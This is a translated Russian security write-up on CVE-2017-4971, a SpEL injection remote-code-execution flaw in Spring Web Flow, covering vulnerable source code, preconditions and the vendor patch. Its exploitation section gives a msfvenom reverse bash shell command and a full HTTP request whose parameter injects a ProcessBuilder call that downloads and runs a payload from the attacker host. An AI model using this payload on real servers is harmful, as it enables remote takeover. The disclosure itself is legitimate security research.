В этой статье будет детально объяснено о том, где обнаружена вышеуказанная проблема, будут приведены образцы кода и способы устранения уязвимости, а также подробности заплатки, созданной разработчиками.
Автор: Stefano Ciccone
Ранее в этом году мы связались с компанией Pivotal на предмет раскрытия уязвимости во фреймворке Spring Web Flow. Проблема в Spring Web Flow возникла из-за привязки непроверенных данных в выражении на базе языка SpEL, что позволяло удаленно выполнять код в приложениях на базе этого фреймворка в случае использования значений параметров по умолчанию. Недавно эта брешь была обнародована в блоге компании Pivotal (https://pivotal.io/security/cve-2017-4971).
В этой статье будет детально объяснено о том, где обнаружена вышеуказанная проблема, будут приведены образцы кода и способы устранения уязвимости, а также подробности заплатки, созданной разработчиками. Pivotal присвоила этой уязвимости средний уровень угрозы, хотя в некоторых случаях и при условии специального контекста эта проблема может стать очень серьезной.
Фреймворк Spring Web Flow является подпроектом фреймворка Spring и содержит несколько компонентов для реализации веб-приложений на базе технологии MVC с встроенным языком определения процедур (потоков) и системой управления. Процедуры и MVC-представления настраиваются при помощи XML-файлов. Сгенерированные объекты представлений сервлетов / портлетов уязвимы для RCE-атак, связанных с удаленным выполнением кода, если используются стандартные значения параметров.
Показательная эксплуатация была выполнена на примере тестового веб-приложения:
https://github.com/spring-projects/spring-webflow-samples/tree/master/booking-mvc
Описание проблемы
После анализа фреймворка обнаружилось, что необходимо два условия, чтобы веб-приложение было уязвимо к RCE-атаке:
1. В параметре useSpringBeanBinding объекта MvcViewFactoryCreator должно быть установлено значение false.
spring-webflow/spring-webflow/src/main/java/org/springframework/
webflow/mvc/builder/MvcViewFactoryCreator.java:
129: /**
130: * Sets whether to use data binding with Spring’s {@link BeanWrapper} should be enabled. Set to ‘true’ to enable.
131: * ‘false’, disabled, is the default. With this enabled, the same binding system used by Spring MVC 2.x is also used
132: * in a Web Flow environment.
133: * @param useSpringBeanBinding the Spring bean binding flag
134: */
135: public void setUseSpringBeanBinding(boolean useSpringBeanBinding) {
136: this.useSpringBeanBinding = useSpringBeanBinding;
137: }
2. Пустой объект должен быть смапирован в объект представления.
Эти два условия лучше анализировать в контексте тестового веб-приложения: spring-webflow-samples/booking-mvc.
3. В параметре useSpringBeanBinding установлено значение true, которое не является значением по умолчанию. Если мы закомментируем строку “factoryCreator.setUseSpringBeanBinding(true);”, будет установлено значение по умолчанию (false).
spring-webflow-samples/booking-mvc/src/main/java/org/springframework/
webflow/samples/booking/config/WebFlowConfig.java
46: @Bean
47: public MvcViewFactoryCreator mvcViewFactoryCreator() {
48: MvcViewFactoryCreator factoryCreator = new MvcViewFactoryCreator();
49: factoryCreator.setViewResolvers(Arrays.<ViewResolver>asList(this.webMvcConfig.tilesViewResolver()));
50: factoryCreator.setUseSpringBeanBinding(true);
51: return factoryCreator;
52: }
spring-webflow-samples/booking-mvc/src/main/webapp/WEB-INF/
hotels/booking/booking-flow.xml
16: <view-state id=”enterBookingDetails” model=”booking”>
17: <binder>
18: <binding property=”checkinDate” />
19: <binding property=”checkoutDate” />
20: <binding property=”beds” />
21: <binding property=”smoking” />
22: <binding property=”creditCard” />
23: <binding property=”creditCardName” />
24: <binding property=”creditCardExpiryMonth” />
25: <binding property=”creditCardExpiryYear” />
26: <binding property=”amenities” />
27: </binder>
28: <on-render>
29: <render fragments=”body” />
30: </on-render>
31: <transition on=”proceed” to=”reviewBooking” />
32: <transition on=”cancel” to=”cancel” bind=”false” />
33: </view-state>
34:
35: <view-state id=”reviewBooking” model=”booking”>
36: <on-render>
37: <render fragments=”body” />
38: </on-render>
39: <transition on=”confirm” to=”bookingConfirmed”>
40: <evaluate expression=”bookingService.persistBooking(booking)” />
41: </transition>
42: <transition on=”revise” to=”enterBookingDetails” />
43: <transition on=”cancel” to=”cancel” />
44: </view-state>
Если два вышеперечисленных условия выполняются, любое MVC-представление, которое является потомком абстрактного класса AbstractMvcView, как будет показано ниже, уязвимо к RCE-атаке.
spring-webflow/spring-webflow/src/main/java/org/springframework/
webflow/mvc/view/AbstractMvcView.java
62: /**
63: * Base view implementation for the Spring Web MVC Servlet and Spring Web MVC Portlet frameworks.
64: *
65: * @author Keith Donald
66: */
67: public abstract class AbstractMvcView implements View {
Объект представления начинает обрабатывать пользовательское событие при получении HTTP-запроса.
210: public void processUserEvent() {
211: String eventId = getEventId();
212: if (eventId == null) {
213: return;
214: }
215: if (logger.isDebugEnabled()) {
216: logger.debug(“Processing user event ‘” + eventId + “’”);
217: }
218: Object model = getModelObject();
219: if (model != null) {
220: if (logger.isDebugEnabled()) {
221: logger.debug(“Resolved model ” + model);
222: }
223: TransitionDefinition transition = requestContext.getMatchingTransition(eventId);
224: if (shouldBind(model, transition)) {
225: mappingResults = bind(model);
226: if (hasErrors(mappingResults)) {
227: if (logger.isDebugEnabled()) {
228: logger.debug(“Model binding resulted in errors; adding error messages to context”);
229: }
230: addErrorMessages(mappingResults);
231: }
232: if (shouldValidate(model, transition)) {
233: validate(model, transition);
234: }
235: }
236: } else {
237: if (logger.isDebugEnabled()) {
238: logger.debug(“No model to bind to; done processing user event”);
239: }
240: }
241: userEventProcessed = true;
242: }
Когда начинается процесс связывания между входными HTTP-параметрами и текущей моделью, если объект BinderConfiguration отсутствует, будет вызван метод addDefaultMappings.
380: protected MappingResults bind(Object model) {
381: if (logger.isDebugEnabled()) {
382: logger.debug(“Binding to model”);
383: }
384: DefaultMapper mapper = new DefaultMapper();
385: ParameterMap requestParameters = requestContext.getRequestParameters();
386: if (binderConfiguration != null) {
387: addModelBindings(mapper, requestParameters.asMap().keySet(), model);
388: } else {
389: addDefaultMappings(mapper, requestParameters.asMap().keySet(), model);
390: }
391: return mapper.map(requestParameters, model);
392: }
Если входной параметр начинается с содержимого переменной fieldMarkerPrefix (в данном случае с “_”), будет вызван методaddEmptyValueMapping.
462: protected void addDefaultMappings(DefaultMapper mapper, Set<String> parameterNames, Object model) {
463: for (String parameterName : parameterNames) {
464: if (fieldMarkerPrefix != null && parameterName.startsWith(fieldMarkerPrefix)) {
465: String field = parameterName.substring(fieldMarkerPrefix.length());
466: if (!parameterNames.contains(field)) {
467: addEmptyValueMapping(mapper, field, model);
468: }
469: } else {
470: addDefaultMapping(mapper, parameterName, model);
471: }
472: }
473: }
Если в параметре useSpringBeanBinding установлено значение false, в expressionParser будет находиться экземпляр объекта SpelExpressionParser (вместо BeanWrapperExpressionParser), который производит объекты SpelExpression, а не BeanWrapperExpression. Объект SpelExpression будет вычислять выражение после вызова метода getValueType.
483: protected void addEmptyValueMapping(DefaultMapper mapper, String field, Object model) {
484: ParserContext parserContext = new FluentParserContext().evaluate(model.getClass());
485: Expression target = expressionParser.parseExpression(field, parserContext);
486: try {
487: Class<?> propertyType = target.getValueType(model);
488: Expression source = new StaticExpression(getEmptyValue(propertyType));
489: DefaultMapping mapping = new DefaultMapping(source, target);
490: if (logger.isDebugEnabled()) {
491: logger.debug(“Adding empty value mapping for parameter ‘” + field + “’”);
492: }
493: mapper.addMapping(mapping);
494: } catch (EvaluationException e) {
495: }
496: }
Эксплуатация уязвимости
Ниже представлена концепция, которая была опробована на тестовом веб-приложении spring-webflow-samples/booking-mvc. Для выполнения теста с использованием стандартных настроек, следующая строка кода была закомментирована.
spring-webflow-samples/booking-mvc/src/main/java/org/springframework/
webflow/samples/booking/config/WebFlowConfig.java
46: @Bean
47: public MvcViewFactoryCreator mvcViewFactoryCreator() {
48: MvcViewFactoryCreator factoryCreator = new MvcViewFactoryCreator();
49: factoryCreator.setViewResolvers(Arrays.<ViewResolver>asList(this.webMvcConfig.tilesViewResolver()));
50: //factoryCreator.setUseSpringBeanBinding(true);
51: return factoryCreator;
52: }
Кроме того, была создана полезная нагрузка с целью развертывания обратного bash-шелла.
msfvenom -p cmd/unix/reverse_bash LHOST=[REDACTED].209 LPORT=4444 -f raw -o ./1
После установки веб-приложения на хосте [REDACTED].230 по управлением Ubuntu, стало возможно начать процесс бронирования отеля. После того как приложение попросит подтвердить заполненную информацию, можно отослать запрос, схожий тому, что представлен ниже, для выполнения вредоносного кода в серверной операционной системе.
HTTP-запрос:
POST /booking-mvc/hotels/booking?execution=e1s2 HTTP/1.1
Host: [REDACTED].230:8080
Content-Length: 189
Cache-Control: max-age=0
Origin: http://[REDACTED].230:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://[REDACTED].230:8080/booking-mvc/hotels/booking?execution=e1s2
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=1EA503C091D58D37FB0446EE59CFAF38
DNT: 1
Connection: close
_eventId_confirm=&_csrf=5e3e68b1-884c-47c9-8a4c-6c28f35bdffe&_new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,’wget http://[REDACTED].209:8000/1 -O /tmp/1; chmod 700 /tmp/1; /tmp/1’}).start()=
HTTP-ответ:
HTTP/1.1 500
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-store
Pragma:
Expires:
X-Frame-Options: DENY
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Mon, 05 Jun 2017 13:27:09 GMT
Connection: close
Content-Length: 10873
<!doctype html><html lang=”en”><head><title>HTTP Status 500 â“ Internal Server Error</title><style type=”text/css”>h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 â“ Internal Server Error</h1><hr class=”line” /><p><b>Type</b> Exception Report</p><p><b>Message</b> Handler dispatch failed; nested exception is java.lang.IllegalAccessError</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>org.springframework.web.util.NestedServletException: Handler dispatch failed; nested exception is java.lang.IllegalAccessError
[..snip..]
Приложение возвращает исключениеIllegalAccessError, хотя полезная нагрузка запустилась, как показано на рисунке ниже.
Рисунок 1: Процедура запуска полезной нагрузки
Решение проблемы
31 мая команда разработчиков фреймворка Spring Web Flow выпустила патч, устраняющий вышеуказанную уязвимость. Замена объекта expressionParser, используемого по умолчанию, на экземпляр BeanWrapperExpressionParser устраняет брешь, поскольку затем парсер начинает создавать объекты BeanWrapperExpression, что, согласно документации на Spring, предотвращает запуск метода.
Выдержка из документации:
“Обратите внимание, что интерфейс BeanWrapper фреймворка Spring не является полной реализацией языка EL: интерфейс поддерживает только доступ к свойствам, и не поддерживает запуск методов, а также арифметические и логические операции”
import org.springframework.binding.expression.Expression; import org.springframework.binding.expression.ExpressionParser; |
import org.springframework.binding.expression.ParserContext; |
+import org.springframework.binding.expression.beanwrapper.BeanWrapperExpressionParser; |
import org.springframework.binding.expression.support.FluentParserContext; |
import org.springframework.binding.expression.support.StaticExpression; |
import org.springframework.binding.mapping.MappingResult; |
@@ -78,6 +79,8 @@ |
private ExpressionParser expressionParser; |
+ private final ExpressionParser emptyValueExpressionParser = new BeanWrapperExpressionParser(); |
+ |
private ConversionService conversionService; |
private Validator validator; |
@@ -482,7 +485,7 @@ protected void addDefaultMappings(DefaultMapper mapper, Set<String> parameterNam |
*/ |
protected void addEmptyValueMapping(DefaultMapper mapper, String field, Object model) { |
ParserContext parserContext = new FluentParserContext().evaluate(model.getClass()); |
- Expression target = expressionParser.parseExpression(field, parserContext); |
+ Expression target = emptyValueExpressionParser.parseExpression(field, parserContext); |
try { |
Class<?> propertyType = target.getValueType(model); |
Expression source = new StaticExpression(getEmptyValue(propertyType)); |
От классики до авангарда — наука во всех жанрах